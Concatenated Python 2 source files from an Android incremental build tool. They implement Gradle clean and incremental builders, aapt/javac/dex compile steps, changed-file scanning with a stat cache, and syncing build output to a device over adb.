    def check_build_environment(self):
        from android_tools import get_device_sdk_version_by_adb
        self._adb = Builder.get_adb(self._config)
        self._is_art = get_device_sdk_version_by_adb(self._adb) >= 20

    def find_dependencies(self):
        raise NotImplementedError

    def generate_sorted_build_tasks(self):
        raise NotImplementedError

    def update_apk_created_time(self):
        from android_tools import get_apktime_path
        from sync_client import update_clean_build_created_flag
        update_clean_build_created_flag(get_apktime_path(self._config))

    def clean_build(self):
        raise NotImplementedError


class IncrementalBuilder(Builder):
    def __init__(self, changed_files, config, task_engine, builder_name=None):
        Builder.__init__(self, config, task_engine, builder_name=builder_name)
        self._changed_files = changed_files

    def check_build_environment(self):
        raise NotImplementedError






# -*- coding:utf8 -*-
from __future__ import print_function

import os

from android_tools import InstallApkTask, CleanAllCacheTask
from builder import CleanBuilder
from gradle_tools import GenerateFileStatTask, BuildBaseResourceTask, get_project_info
from task import CleanBuildTask, Task
from utils import cexec, load_json_cache, write_json_cache
from utils import is_windows_system


class GradleCleanBuilder(CleanBuilder):
    def __init__(self, config, task_engine, project_info=None):
        CleanBuilder.__init__(self, config, task_engine, builder_name='gradle_clean_builder')
        self._root_task = None
        self._project_info = project_info

    def check_build_environment(self):
        CleanBuilder.check_build_environment(self)
        if self._project_info is None:
            project_info_cache_path = os.path.join(self._config['build_cache_dir'], 'project_info_cache.json')
            if os.path.exists(project_info_cache_path):
                self._project_info = load_json_cache(project_info_cache_path)
            else:
                self._project_info = get_project_info(self._config)

    def find_dependencies(self):
        pass

    def generate_sorted_build_tasks(self):
        # tasks' order:
        # 1. generate file stat / check before clean build
        # 2. clean build
        # 3. install / clean cache
        # 4. build base res / generate project info cache
        build_task = GradleCleanBuildTask(self._config)
        install_task = InstallApkTask(self._adb, self._config)
        clean_all_cache_task = CleanAllCacheTask(self._config['build_cache_dir'], ignore=[
            'stat_cache.json', 'apktime', 'jar_dependencies.json', 'resources_dependencies.json', 'public_keeper.xml'])
        build_base_resource_task = BuildBaseResourceTask(self._config, self._project_info)
        generate_stat_task = GenerateFileStatTask(self._config)
        read_project_info_task = GradleReadProjectInfoTask()
        generate_project_info_task = GradleGenerateProjectInfoTask(self._config)

        # generate_stat_task.add_child_task(read_project_info_task)
        build_task.add_child_task(clean_all_cache_task)
        build_task.add_child_task(install_task)
        clean_all_cache_task.add_child_task(build_base_resource_task)
        clean_all_cache_task.add_child_task(generate_project_info_task)
        read_project_info_task.add_child_task(build_task)
        self._root_task = [generate_stat_task, read_project_info_task]

    def clean_build(self):
        self._task_engine.add_root_task(self._root_task)
        self._task_engine.start()


class GradleReadProjectInfoTask(Task):
    def __init__(self):
        Task.__init__(self, 'read_project_info_task')

    def execute(self):
        command = './gradlew -q checkBeforeCleanBuild'
        if is_windows_system():
            command = 'gradlew.bat -q checkBeforeCleanBuild'

        output, err, code = cexec(command.split(' '), callback=None)
        if code != 0:
            from exceptions import FreelineException
            raise FreelineException('freeline failed when read project info with script: {}'.format(command),
                                    '{}\n{}'.format(output, err))


class GradleGenerateProjectInfoTask(Task):
    def __init__(self, config):
        Task.__init__(self, 'generate_project_info_task')
        # reload project info
        from dispatcher import read_freeline_config
        self._config = read_freeline_config()

    def execute(self):
        write_json_cache(os.path.join(self._config['build_cache_dir'], 'project_info_cache.json'),
                         get_project_info(self._config))


class GradleCleanBuildTask(CleanBuildTask):
    def __init__(self, config):
        CleanBuildTask.__init__(self, 'gradle_clean_build_task', config)

    def execute(self):
        # reload config
        from dispatcher import read_freeline_config
        self._config = read_freeline_config()
        cwd = self._config['build_script_work_directory'].strip()
        if not cwd or not os.path.isdir(cwd):
            cwd = None

        output, err, code = cexec(self._config['build_script'].split(' '), callback=None, cwd=cwd)
        self.debug(self._config['build_script'])
        self.debug("Gradle build task is running, please wait a minute...")
        if code != 0:
            from exceptions import FreelineException
            raise FreelineException('build failed with script: {}'.format(self._config['build_script']),
                                    '{}\n{}'.format(output, err))






# -*- coding:utf8 -*-
from __future__ import print_function

import os
import shutil

import android_tools
from build_commands import CompileCommand, IncAaptCommand, IncJavacCommand, IncDexCommand
from builder import IncrementalBuilder, Builder
from gradle_tools import get_project_info, GradleDirectoryFinder, GradleSyncClient, GradleSyncTask, \
    GradleCleanCacheTask, GradleMergeDexTask
from task import find_root_tasks, find_last_tasks, Task
from utils import get_file_content, write_file_content, is_windows_system
from tracing import Tracing


class GradleIncBuilder(IncrementalBuilder):
    def __init__(self, changed_files, config, task_engine, project_info=None):
        IncrementalBuilder.__init__(self, changed_files, config, task_engine, builder_name="gradle_inc_builder")
        self._project_info = project_info
        self._tasks_dictionary = {}
        self._module_dependencies = {}
        self._all_modules = []
        self._is_art = False
        self._module_dir_map = {}

    def check_build_environment(self):
        if not self._project_info:
            self._project_info = get_project_info(self._config)

        self._all_modules = self._project_info.keys()

        for item in self._project_info.values():
            self._module_dir_map[item['name']] = item['relative_dir']

        for key, value in self._project_info.iteritems():
            self._module_dependencies[key] = [item for item in value['local_module_dep']]

        self._is_art = android_tools.get_device_sdk_version_by_adb(Builder.get_adb(self._config)) > 20
        # merge all resources modified files to main resources
        self.__merge_res_files()

    def generate_sorted_build_tasks(self):
        """
        sort build tasks according to the module's dependency
        :return: None
        """
        for module in self._all_modules:
            task = android_tools.AndroidIncrementalBuildTask(module, self.__setup_inc_command(module))
            self._tasks_dictionary[module] = task

        for module in self._all_modules:
            task = self._tasks_dictionary[module]
            for dep in self._module_dependencies[module]:
                task.add_parent_task(self._tasks_dictionary[dep])

    def __setup_inc_command(self, module):
        return GradleCompileCommand(module, self.__setup_invoker(module))

    def __setup_invoker(self, module):
        return GradleIncBuildInvoker(module, self._project_info[module]['path'], self._config,
                                     self._changed_files['projects'][module], self._project_info[module], self._is_art,
                                     all_module_info=self._project_info, module_dir_map=self._module_dir_map)

    def __merge_res_files(self):
        main_res = self._changed_files['projects'][self._config['main_project_name']]
        for module, file_dict in self._changed_files['projects'].iteritems():
            if module == self._config['main_project_name']:
                continue
            for key, files in file_dict.iteritems():
                if key == 'res' or key == 'assets':
                    main_res[key].extend(files)
        self._changed_files['projects'][self._config['main_project_name']] = main_res

    def incremental_build(self):
        merge_dex_task = GradleMergeDexTask(self._config['build_cache_dir'], self._all_modules, self._project_info)
        aapt_task = GradleAaptTask(self.__setup_invoker(self._config['main_project_name']))

        task_list = self._tasks_dictionary.values()
        last_tasks = find_last_tasks(task_list)

        for rtask in find_root_tasks(task_list):
            aapt_task.add_child_task(rtask)

        clean_cache_task = GradleCleanCacheTask(self._config['build_cache_dir'], self._project_info)
        sync_client = GradleSyncClient(self._is_art, self._config, self._project_info, self._all_modules)
        connect_task = android_tools.ConnectDeviceTask(sync_client)
        sync_task = GradleSyncTask(sync_client, self._config['build_cache_dir'])
        update_stat_task = android_tools.UpdateStatTask(self._config, self._changed_files['projects'])

        map(lambda task: task.add_child_task(merge_dex_task), last_tasks)
        connect_task.add_child_task(sync_task)
        merge_dex_task.add_child_task(sync_task)
        sync_task.add_child_task(clean_cache_task)
        clean_cache_task.add_child_task(update_stat_task)

        # self._task_engine.add_root_task(find_root_tasks(task_list))
        self._task_engine.add_root_task(aapt_task)
        self._task_engine.add_root_task(connect_task)
        self._task_engine.start()


class GradleAaptTask(Task):
    def __init__(self, invoker):
        Task.__init__(self, 'gradle_aapt_task')
        self._invoker = invoker

    def execute(self):
        should_run_res_task = self._invoker.check_res_task()
        if not should_run_res_task:
            self.debug('no need to execute')
            return

        self.debug('start to execute aapt command...')
        self._invoker.fill_dependant_jars()
        self._invoker.check_ids_change()

        with Tracing("generate_id_keeper_files"):
            self._invoker.generate_r_file()

        # self._invoker.backup_res_files()

        with Tracing("run_incremental_aapt_task"):
            self._invoker.run_aapt_task()

        with Tracing("check_other_modules_resources"):
            self._invoker.check_other_modules_resources()


class GradleCompileCommand(CompileCommand):
    def __init__(self, module, invoker):
        self._module = module
        CompileCommand.__init__(self, 'gradle_{}_compile_command'.format(module), invoker)

    def _setup(self):
        # self.add_command(GradleIncAaptCommand(self._module, self._invoker))
        self.add_command(GradleIncJavacCommand(self._module, self._invoker))
        self.add_command(GradleIncDexCommand(self._module, self._invoker))

    def execute(self):
        map(lambda command: command.execute(), self.command_list)


class GradleIncAaptCommand(IncAaptCommand):
    def __init__(self, module_name, invoker):
        IncAaptCommand.__init__(self, module_name, invoker)

    def execute(self):
        should_run_res_task = self._invoker.check_res_task()
        if not should_run_res_task:
            self.debug('no need to execute')
            return

        self.debug('start to execute aapt command...')
        self._invoker.fill_dependant_jars()
        self._invoker.check_ids_change()
        self._invoker.generate_r_file()
        # self._invoker.backup_res_files()
        self._invoker.run_aapt_task()


class GradleIncJavacCommand(IncJavacCommand):
    def __init__(self, module_name, invoker):
        IncJavacCommand.__init__(self, module_name, invoker)

    def execute(self):
        self._invoker.check_r_md5()  # check if R.java has changed
        # self._invoker.check_other_modules_resources()
        should_run_javac_task = self._invoker.check_javac_task()
        if not should_run_javac_task:
            self.debug('no need to execute')
            return

        self.debug('start to execute javac command...')
        self._invoker.append_r_file()
        self._invoker.fill_classpaths()
        self._invoker.clean_dex_cache()
        self._invoker.run_javac_task()


class GradleIncDexCommand(IncDexCommand):
    def __init__(self, module_name, invoker):
        IncDexCommand.__init__(self, module_name, invoker)

    def execute(self):
        should_run_dex_task = self._invoker.check_dex_task()
        if not should_run_dex_task:
            self.debug('no need to execute')
            return

        self.debug('start to execute dex command...')
        self._invoker.run_dex_task()


class GradleIncBuildInvoker(android_tools.AndroidIncBuildInvoker):
    def __init__(self, module_name, path, config, changed_files, module_info, is_art, all_module_info=None,
                 module_dir_map=None):
        android_tools.AndroidIncBuildInvoker.__init__(self, module_name, path, config, changed_files, module_info,
                                                      is_art=is_art)
        self._all_module_info = all_module_info
        self._module_dir_map = module_dir_map
        self._merged_res_paths = []
        self._merged_res_paths.append(self._finder.get_backup_res_dir())
        for mname in self._all_module_info.keys():
            if mname in self._config['project_source_sets']:
                self._merged_res_paths.extend(self._config['project_source_sets'][mname]['main_res_directory'])
                self._merged_res_paths.extend(self._config['project_source_sets'][mname]['main_assets_directory'])

    def before_execute(self):
        self._finder = GradleDirectoryFinder(self._name, self._module_path, self._cache_dir,
                                             package_name=self._module_info['packagename'], config=self._config)

    def check_res_task(self):
        if self._name != self._config['main_project_name']:
            self.debug('skip {} aapt task'.format(self._name))
            return False
        return android_tools.AndroidIncBuildInvoker.check_res_task(self)

    def fill_dependant_jars(self):
        self._res_dependencies = self._module_info['dep_jar_path']

    def _get_aapt_args(self):
        aapt_args = [self._aapt, 'package', '-f', '-I',
                     os.path.join(self._config['compile_sdk_directory'], 'android.jar'),
                     '-M', self._finder.get_dst_manifest_path()]

        for rdir in self._config['project_source_sets'][self._name]['main_res_directory']:
            if os.path.exists(rdir):
                aapt_args.append('-S')
                aapt_args.append(rdir)

        for rdir in self._module_info['local_dep_res_path']:
            if os.path.exists(rdir):
                aapt_args.append('-S')
                aapt_args.append(rdir)

        for resdir in self._module_info['dep_res_path']:
            if os.path.exists(resdir):
                aapt_args.append('-S')
                aapt_args.append(resdir)

        if 'extra_dep_res_paths' in self._config and self._config['extra_dep_res_paths'] is not None:
            arr = self._config['extra_dep_res_paths']
            for path in arr:
                path = path.strip()
                if os.path.isdir(path):
                    aapt_args.append('-S')
                    aapt_args.append(path)

        aapt_args.append('-S')
        aapt_args.append(self._finder.get_backup_res_dir())

        freeline_assets_dir = os.path.join(self._config['build_cache_dir'], 'freeline-assets')
        aapt_args.append('-A')
        aapt_args.append(freeline_assets_dir)

        for adir in self._config['project_source_sets'][self._name]['main_assets_directory']:
            if os.path.exists(adir):
                aapt_args.append('-A')
                aapt_args.append(adir)

        gen_path = self._finder.get_backup_dir()
        aapt_args.append('-m')
        aapt_args.append('-J')
        aapt_args.append(gen_path)
        aapt_args.append('--auto-add-overlay')
        aapt_args.append('-P')
        aapt_args.append(self._finder.get_public_xml_path())

        final_changed_list = self._parse_changed_list()

        if is_windows_system():
            final_changed_list = [fpath.replace('\\', '/') for fpath in final_changed_list]

        final_changed_list_chain = ':'.join(final_changed_list)

        aapt_args.append('-F')
        aapt_args.append(self._finder.get_dst_res_pack_path(self._name))
        aapt_args.append('--debug-mode')
        aapt_args.append('--auto-add-overlay')

        if len(final_changed_list_chain) > 0 and self._is_art:
            aapt_args.append('--buildIncrement')
            aapt_args.append(final_changed_list_chain)
            aapt_args.append('--resoucres-md5-cache-path')
            aapt_args.append(os.path.join(self._cache_dir, "arsc_cache.dat"))

        aapt_args.append('--ignore-assets')
        aapt_args.append('public_id.xml:public.xml:*.bak:.*')
        return aapt_args, final_changed_list

    def check_other_modules_resources(self):
        if self._name == self._config['main_project_name'] and self._all_module_info is not None:
            changed_modules = []
            for fn in self._changed_files['res']:
                module = self.__find_res_in_which_module(fn)
                if not module:
                    continue
                if module != self._name and module != self._config['build_cache_dir']:
                    changed_modules.append(module)

            if len(changed_modules) > 0:
                main_r_fpath = os.path.join(self._finder.get_backup_dir(),
                                            self._module_info['packagename'].replace('.', os.sep), 'R.java')
                self.debug('modify {}'.format(main_r_fpath))
                write_file_content(main_r_fpath, GradleIncBuildInvoker.remove_final_tag(get_file_content(main_r_fpath)))

                for module in changed_modules:
                    fpath = self.__modify_other_modules_r(self._all_module_info[module]['packagename'])
                    self.debug('modify {}'.format(fpath))
                    if fpath not in self._changed_files['src']:
                        self._changed_files['src'].append(fpath)

    def append_r_file(self):
        if len(self._changed_files['res']) > 0:
            backupdir = os.path.join(self._cache_dir, self._config['main_project_name'], 'backup')
            rpath = os.path.join(backupdir, self._module_info['packagename'].replace('.', os.sep), 'R.java')
            if os.path.exists(rpath):
                self._changed_files['src'].append(rpath)

            main_rpath = os.path.join(backupdir,
                                      self._all_module_info[self._config['main_project_name']]['packagename'].replace(
                                          '.', os.sep), 'R.java')
            if os.path.exists(main_rpath):
                self._changed_files['src'].append(main_rpath)

    def fill_classpaths(self):
        # classpaths:
        # 1. patch classes
        # 2. dependent modules' patch classes
        # 3. android.jar
        # 4. third party jars
        # 5. generated classes in build directory
        patch_classes_cache_dir = self._finder.get_patch_classes_cache_dir()
        self._classpaths.append(patch_classes_cache_dir)
        self._classpaths.append(self._finder.get_dst_classes_dir())
        for module in self._module_info['local_module_dep']:
            finder = GradleDirectoryFinder(module, self._module_dir_map[module], self._cache_dir)
            self._classpaths.append(finder.get_patch_classes_cache_dir())

        self._classpaths.append(os.path.join(self._config['compile_sdk_directory'], 'android.jar'))
        self._classpaths.extend(self._module_info['dep_jar_path'])

        # remove existing same-name class in build directory
        # src_dir = android_tools.get_src_dir(self._dir_name)
        from gradle_tools import get_module_name
        srcdirs = self._config['project_source_sets'][get_module_name(self._module_path)]['main_src_directory']
        for dirpath, dirnames, files in os.walk(patch_classes_cache_dir):
            for fn in files:
                if self._is_r_file_changed and self._module_info['packagename'] + '.R.' in fn:
                    android_tools.delete_class(dirpath, fn.replace('.class', ''))
                if fn.endswith('.class') and '$' not in fn and 'R.' not in fn and 'Manifest.' not in fn:
                    cp = os.path.join(dirpath, fn)
                    java_src = cp.replace('.class', '.java').split('classes' + os.path.sep)[1]
                    existence = True
                    for src_dir in srcdirs:
                        if os.path.exists(os.path.join(src_dir, java_src)):
                            existence = True
                            break
                        # if not os.path.exists(os.path.join(src_dir, java_src)):
                        #    android_tools.delete_class(dirpath, fn.replace('.class', ''))
                    if not existence:
                        android_tools.delete_class(dirpath, fn.replace('.class', ''))

    def _get_res_incremental_dst_path(self, fpath):
        if 'assets' + os.sep in fpath:
            return os.path.join(self._finder.get_base_gen_dir(), 'assets', 'debug', fpath.split('assets' + os.sep)[1])
        elif 'res' + os.sep in fpath:
            return os.path.join(self._finder.get_res_dir(), fpath.split('res' + os.sep)[1])

    def _parse_changed_list(self):
        changed_list = []
        for rfile in self._changed_files['res']:
            if rfile not in changed_list:
                changed_list.append(self._get_res_relative_path(rfile))

        for afile in self._changed_files['assets']:
            if afile not in changed_list:
                changed_list.append(self._get_res_relative_path(afile))
        return changed_list

    def _get_res_relative_path(self, res):
        if res.startswith('res') or res.startswith('AndroidManifest.xml'):
            return res

        def path_fix(path):
            return path if path.endswith(os.sep) else path + os.sep

        for respath in self._merged_res_paths:
            respath = path_fix(respath)
            if res.startswith(respath):
                index = respath.strip(os.sep).rfind(os.sep)
                if index >= 0:
                    res_dir_name = respath[index + 1:].strip(os.sep)
                    relative_path = os.path.join(res_dir_name, res.replace(respath, ''))
                    self.debug("find relative path: {}".format(relative_path))
                    return relative_path
        return None

    def __modify_other_modules_r(self, package_name):
        r_path = android_tools.find_r_file(self._finder.get_dst_r_dir(), package_name=package_name)
        if os.path.exists(r_path):
            backup_dir = os.path.join(self._finder.get_backup_dir(), package_name.replace('.', os.sep))
            if not os.path.isdir(backup_dir):
                os.makedirs(backup_dir)
            target_path = os.path.join(backup_dir, 'R.java')
            if not os.path.exists(target_path):
                self.debug('copy {} to {}'.format(r_path, target_path))
                shutil.copy(r_path, target_path)

                content = get_file_content(target_path)
                content = GradleIncBuildInvoker.remove_final_tag(content)
                content = GradleIncBuildInvoker.extend_main_r(content, self._module_info['packagename'])
                write_file_content(target_path, content)

            return target_path

    def __find_res_in_which_module(self, res_path):
        for module in self._all_module_info.keys():
            # rdir = android_tools.get_res_dir(module)
            res_dirs = self._config['project_source_sets'][module]['main_res_directory']
            for rdir in res_dirs:
                if rdir is not None:
                    if res_path.startswith(rdir) or rdir in res_path:
                        return module
        return None

    @staticmethod
    def remove_final_tag(content):
        content = content.replace('public final class', 'public class').replace('public static final class',
                                                                                'public static class')
        return content

    @staticmethod
    def extend_main_r(content, main_package_name):
        import re
        result = re.findall(r'''public static class (.*) \{''', content)
        for tag in result:
            content = content.replace('class ' + tag + ' {',
                                      'class ' + tag + ' extends ' + main_package_name + '.R.' + tag + ' {')
        return content






# -*- coding:utf8 -*-
import os
import re

import android_tools
from utils import get_file_content
from freeline_build import ScanChangedFilesCommand, DispatchPolicy
from logger import Logger
from sync_client import SyncClient
from exceptions import FreelineException, FileMissedException
from utils import curl, write_json_cache, load_json_cache, cexec, print_json
from task import Task
from builder import Builder


class GradleScanChangedFilesCommand(ScanChangedFilesCommand):
    def __init__(self, config):
        ScanChangedFilesCommand.__init__(self)
        self._config = config
        self._changed_files = {}
        self.project_info = None
        self._stat_cache = None
        self._finder = GradleDirectoryFinder(self._config['main_project_name'], self._config['main_project_dir'],
                                             self._config['build_cache_dir'])

    def execute(self):
        cache_path = os.path.join(self._config['build_cache_dir'], 'stat_cache.json')
        if not os.path.exists(cache_path):
            raise FileMissedException('{} not found.'.format(cache_path), '     re-run clean build.')

        self._stat_cache = load_json_cache(cache_path)

        project_info_cache_path = os.path.join(self._config['build_cache_dir'], 'project_info_cache.json')
        if os.path.exists(project_info_cache_path):
            self.project_info = load_json_cache(project_info_cache_path)
        else:
            self.project_info = get_project_info(self._config)
            write_json_cache(project_info_cache_path, self.project_info)

        build_info = self._get_build_info()

        for module_name, module_info in self.project_info.iteritems():
            self._changed_files[module_name] = {'libs': [], 'assets': [], 'res': [], 'src': [], 'manifest': [],
                                                'config': []}
            self._scan_module_changes(module_name, module_info['path'])

        self._mark_changed_flag()

        return {'projects': self._changed_files, 'build_info': build_info}

    def _mark_changed_flag(self):
        info = self._changed_files.values()
        cache_dir = self._config['build_cache_dir']
        for bundle in info:
            if not android_tools.is_src_changed(cache_dir) and len(bundle['src']) > 0:
                android_tools.mark_src_changed(cache_dir)
            if not android_tools.is_res_changed(cache_dir) and len(bundle['res']) > 0:
                android_tools.mark_res_changed(cache_dir)

    def _get_build_info(self):
        final_apk_path = self._config['apk_path']
        last_clean_build_time = os.path.getmtime(final_apk_path) if os.path.exists(final_apk_path) else 0
        is_root_config_changed = os.path.getmtime(os.path.join('build.gradle')) > last_clean_build_time
        if not is_root_config_changed:
            is_root_config_changed = os.path.getmtime(os.path.join('settings.gradle')) > last_clean_build_time

        return {'last_clean_build_time': last_clean_build_time, 'is_root_config_changed': is_root_config_changed}

    def _scan_module_changes(self, module_name, module_path):
        module_cache = self._stat_cache[module_name]

        # scan bulid.gradle
        config_path = os.path.join(module_path, 'build.gradle')
        if self.__check_changes(module_name, config_path, module_cache):
            self._changed_files[module_name]['config'].append(config_path)

        # scan libs dirs
        libs_dir_names = ['libs', 'lib']
        for lib_dir_name in libs_dir_names:
            lib_dir_path = os.path.join(module_path, lib_dir_name)
            if os.path.isdir(lib_dir_path):
                for dirpath, dirnames, files in os.walk(lib_dir_path):
                    for fn in files:
                        fpath = os.path.join(dirpath, fn)
                        if self.__check_changes(module_name, fpath, module_cache):
                            self._changed_files[module_name]['libs'].append(fpath)

        if module_name in self._config['project_source_sets']:
            # scan manifest
            manifest = self._config['project_source_sets'][module_name]['main_manifest_path']
            if self.__check_changes(module_name, manifest, module_cache):
                self._changed_files[module_name]['manifest'].append(manifest)

            # scan assets
            assets_dirs = self._config['project_source_sets'][module_name]['main_assets_directory']
            for assets_dir in assets_dirs:
                if os.path.exists(assets_dir):
                    for dirpath, dirnames, files in os.walk(assets_dir):
                        for fn in files:
                            fpath = os.path.join(dirpath, fn)
                            if self.__check_changes(module_name, fpath, module_cache):
                                self._changed_files[module_name]['assets'].append(fpath)

            # scan res
            res_dirs = self._config['project_source_sets'][module_name]['main_res_directory']
            for res_dir in res_dirs:
                if os.path.exists(res_dir):
                    for sub_dir in os.listdir(res_dir):
                        sub_dir_path = os.path.join(res_dir, sub_dir)
                        if os.path.isdir(sub_dir_path) and android_tools.is_res_sub_dir(sub_dir):
                            for fn in os.listdir(sub_dir_path):
                                if '.DS_Store' in fn:
                                    continue
                                fpath = os.path.join(sub_dir_path, fn)
                                if self.__check_changes(module_name, fpath, module_cache, should_check_size=True):
                                    self._changed_files[module_name]['res'].append(fpath)

            # scan src
            src_dirs = self._config['project_source_sets'][module_name]['main_src_directory']
            for src_dir in src_dirs:
                if os.path.exists(src_dir):
                    for dirpath, dirnames, files in os.walk(src_dir):
                        if re.findall(r'[/\\+]androidTest[/\\+]', dirpath) or '/.' in dirpath:
                            continue
                        for fn in files:
                            if fn.endswith('java'):
                                if fn.endswith('package-info.java') or fn.endswith('BuildConfig.java'):
                                    continue
                                fpath = os.path.join(dirpath, fn)
                                if self.__check_changes(module_name, fpath, module_cache):
                                    self._changed_files[module_name]['src'].append(fpath)

    def __check_changes(self, module_name, fpath, module_cache, should_check_size=False):
        if not fpath:
            return False

        if fpath not in module_cache:
            self.debug('find new file {}'.format(fpath))
            return True

        stat = module_cache[fpath]
        mtime = os.path.getmtime(fpath)
        if mtime > stat['mtime']:
            self.debug('find {} has modification.'.format(fpath))
            stat['mtime'] = mtime
            self._stat_cache[module_name][fpath] = stat
            return True

        if should_check_size:
            size = os.path.getsize(fpath)
            if size != stat['size']:
                self.debug('find {} has modification.'.format(fpath))
                stat['size'] = size
                self._stat_cache[module_name][fpath] = stat
                return True

        return False


class GenerateFileStatTask(Task):
    def __init__(self, config):
        Task.__init__(self, 'generate_file_stat_task')
        self._config = config
        self._stat_cache = {}

    def execute(self):
        if 'modules' in self._config:
            all_modules = self._config['modules']
        else:
            all_modules = get_all_modules(os.getcwd())

        for module in all_modules:
            self._stat_cache[module['name']] = {}
            self._save_module_stat(module['name'], module['path'])
        self._save_cache()

    def _save_cache(self):
        cache_path = os.path.join(self._config['build_cache_dir'], 'stat_cache.json')
        if os.path.exists(cache_path):
            os.remove(cache_path)
        write_json_cache(cache_path, self._stat_cache)

    def _save_module_stat(self, module_name, module_path):
        # scan bulid.gradle
        self.__save_stat(module_name, os.path.join(module_path, 'build.gradle'))

        # scan libs dirs
        libs_dir_names = ['libs', 'lib']
        for lib_dir_name in libs_dir_names:
            lib_dir_path = os.path.join(module_path, lib_dir_name)
            if os.path.isdir(lib_dir_path):
                for dirpath, dirnames, files in os.walk(lib_dir_path):
                    for fn in files:
                        self.__save_stat(module_name, os.path.join(dirpath, fn))

        # scan assets
        if module_name in self._config['project_source_sets']:
            # scan manifest
            self.__save_stat(module_name, self._config['project_source_sets'][module_name]['main_manifest_path'])

            assets_dirs = self._config['project_source_sets'][module_name]['main_assets_directory']
            for assets_dir in assets_dirs:
                if os.path.exists(assets_dir):
                    for dirpath, dirnames, files in os.walk(assets_dir):
                        for fn in files:
                            self.__save_stat(module_name, os.path.join(dirpath, fn))

            res_dirs = self._config['project_source_sets'][module_name]['main_res_directory']
            for res_dir in res_dirs:
                if os.path.exists(res_dir):
                    for sub_dir in os.listdir(res_dir):
                        sub_dir_path = os.path.join(res_dir, sub_dir)
                        if os.path.isdir(sub_dir_path) and android_tools.is_res_sub_dir(sub_dir):
                            for fn in os.listdir(sub_dir_path):
                                if '.DS_Store' in fn:
                                    continue
                                self.__save_stat(module_name, os.path.join(sub_dir_path, fn))

            src_dirs = self._config['project_source_sets'][module_name]['main_src_directory']
            for src_dir in src_dirs:
                if os.path.exists(src_dir):
                    for dirpath, dirnames, files in os.walk(src_dir):
                        if re.findall(r'[/\\+]androidTest[/\\+]', dirpath) or '/.' in dirpath:
                            continue
                        for fn in files:
                            if fn.endswith('java'):
                                if fn.endswith('package-info.java') or fn.endswith('BuildConfig.java'):
                                    continue
                                self.__save_stat(module_name, os.path.join(dirpath, fn))

    def __save_stat(self, module, fpath):
        if fpath is not None and os.path.exists(fpath):
            self._stat_cache[module][fpath] = {'mtime': os.path.getmtime(fpath), 'size': os.path.getsize(fpath)}


class GradleDispatchPolicy(DispatchPolicy):
    def __init__(self):
        DispatchPolicy.__init__(self)

    def is_need_clean_build(self, config, file_changed_dict):
        last_apk_build_time = file_changed_dict['build_info']['last_clean_build_time']

        if last_apk_build_time == 0:
            Logger.debug('final apk not found, need a clean build.')
            return True

        if file_changed_dict['build_info']['is_root_config_changed']:
            Logger.debug('find root build.gradle changed, need a clean build.')
            return True

        file_count = 0
        need_clean_build_projects = set()

        for dir_name, bundle_dict in file_changed_dict['projects'].iteritems():
            count = len(bundle_dict['src'])
            Logger.debug('find {} has {} java files modified.'.format(dir_name, count))
            file_count += count

            if len(bundle_dict['config']) > 0 or len(bundle_dict['manifest']) > 0:
                need_clean_build_projects.add(dir_name)
                Logger.debug('find {} has build.gradle or manifest file modified.'.format(dir_name))

        is_need_clean_build = file_count > 20 or len(need_clean_build_projects) > 0

        if is_need_clean_build:
            if file_count > 20:
                Logger.debug(
                    'project has {}(>20) java files modified so that it need a clean build.'.format(file_count))
            else:
                Logger.debug('project need a clean build.')
        else:
            Logger.debug('project just need a incremental build.')

        return is_need_clean_build


class GradleDirectoryFinder(android_tools.DirectoryFinder):
    def __init__(self, module_name, module_path, cache_dir, package_name=None, config=None):
        android_tools.DirectoryFinder.__init__(self, module_name, cache_dir)
        self._module_name = module_name
        self._module_path = module_path
        self._package_name = package_name
        self._config = config
        if not self._package_name:
            self._package_name = ''

    def get_dst_manifest_path(self):
        if self._config is not None and 'product_flavor' in self._config:
            if self._module_name == self._config['main_project_name']:
                if self._config['product_flavor'] == '' or self._config['product_flavor'] == 'debug':
                    return os.path.join(self.get_base_gen_dir(), 'manifests', 'full', 'debug', 'AndroidManifest.xml')
                else:
                    return os.path.join(self.get_base_gen_dir(), 'manifests', 'full', self._config['product_flavor'],
                                        'debug', 'AndroidManifest.xml')
        return android_tools.get_manifest_path(self._module_path)

    def get_dst_r_dir(self):
        return os.path.join(self.get_base_build_dir(), 'generated', 'source', 'r')

    def get_dst_r_path(self, config=None):
        if config is not None:
            if 'main_r_path' in config:
                path = config['main_r_path'].strip()
                if os.path.isfile(path):
                    return path
        return android_tools.find_r_file(self.get_dst_r_dir(), package_name=self._package_name)

    def get_backup_r_path(self):
        return os.path.join(self.get_backup_dir(), self._package_name.replace('.', os.sep), 'R.java')

    def get_dst_res_dir(self):
        return self.get_res_dir()

    def get_res_dir(self):
        return os.path.join(self.get_base_gen_dir(), 'res', 'merged', 'debug')

    def get_assets_dir(self):
        return os.path.join(self.get_base_gen_dir(), 'assets', 'debug')

    def get_res_build_job_path(self):
        return os.path.join(self.get_base_gen_dir(), 'res.job')

    def get_base_build_dir(self):
        return os.path.join(self._module_path, 'build')

    def get_base_gen_dir(self):
        return os.path.join(self.get_base_build_dir(), 'intermediates')

    def get_dst_classes_dir(self):
        if self._config is not None and 'product_flavor' in self._config:
            if self._module_name == self._config['main_project_name']:
                if self._config['product_flavor'] == '' or self._config['product_flavor'] == 'debug':
                    return os.path.join(self.get_base_gen_dir(), 'classes', 'debug')
                else:
                    return os.path.join(self.get_base_gen_dir(), 'classes', self._config['product_flavor'], 'debug')
            else:
                release_dir = os.path.join(self.get_base_gen_dir(), 'classes', 'release')
                if not os.path.exists(release_dir):
                    release_dir = os.path.join(self.get_base_gen_dir(), 'classes', 'debug')
                return release_dir
        return GradleDirectoryFinder.find_dst_classes_dir(self.get_base_gen_dir(), package_name=self._package_name)

    @staticmethod
    def find_dst_classes_dir(base_dir, package_name=None):
        if not package_name:
            return base_dir
        pdn = package_name.replace('.', os.sep)
        for dirpath, dirs, files in os.walk(base_dir):
            if pdn in dirpath:
                return dirpath.split(pdn)[0]
        return base_dir


class GradleMergeDexTask(android_tools.MergeDexTask):
    def __init__(self, cache_dir, all_modules, project_info):
        android_tools.MergeDexTask.__init__(self, cache_dir, all_modules)
        self._all_modules = [project_info[module]['name'] for module in self._all_modules]


class GradleSyncTask(android_tools.SyncTask):
    def __init__(self, client, cache_dir):
        android_tools.SyncTask.__init__(self, client, 'gradle_sync_task')
        self._client = client
        self._is_need_restart = android_tools.is_need_restart(cache_dir)

    def execute(self):
        try:
            # self._client.push_full_res_pack()
            self._client.sync_incremental_res()
            self._client.sync_incremental_dex()
            self._client.sync_state(self._is_need_restart)
            self._client.close_connection()
        except FreelineException as e:
            raise e
        except Exception:
            import traceback
            raise FreelineException('sync files to your device failed', traceback.format_exc())


